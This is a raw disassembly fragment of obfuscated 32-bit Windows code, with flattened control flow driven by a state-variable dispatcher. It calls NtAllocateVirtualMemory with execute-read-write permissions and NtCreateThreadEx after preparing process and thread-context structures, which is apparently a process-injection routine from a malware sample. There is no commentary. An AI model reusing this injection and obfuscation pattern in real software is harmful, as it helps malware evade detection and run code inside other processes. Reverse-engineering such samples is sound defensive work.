and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b2ff805
mov ecx, 0xdc5332fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
mov edx, eax
add edx, 0x71918c0
sub edx, 1
sub edx, 0x71918c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9156070b
mov ecx, 0x13641d64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xec044877
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x71ba6191
jmp 0x1000f09e
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1a8], 0xd173ae52
jmp 0x1000f09e
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100073f0
add esp, 4
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x37b5cd09
jmp 0x1000f09e
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x1a8], 0x5ed395fa
jmp 0x1000f09e
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x1a8], 0x59667ffa
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x6993abff
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x351c56be
jmp 0x1000f09e
mov eax, dword [ebp - 0x124]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10011210
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10011210
add esp, 0xc
mov dword [ebp - 0x1a8], 0xcacbfa25
jmp 0x1000f09e
mov dword [ebp - 0x68], 0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x68]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x1a8], 0x7460c78a
jmp 0x1000f09e
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x1a8], 0xbc723e01
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xf38627fa
jmp 0x1000f09e
mov edx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x13641d64
jmp 0x10008970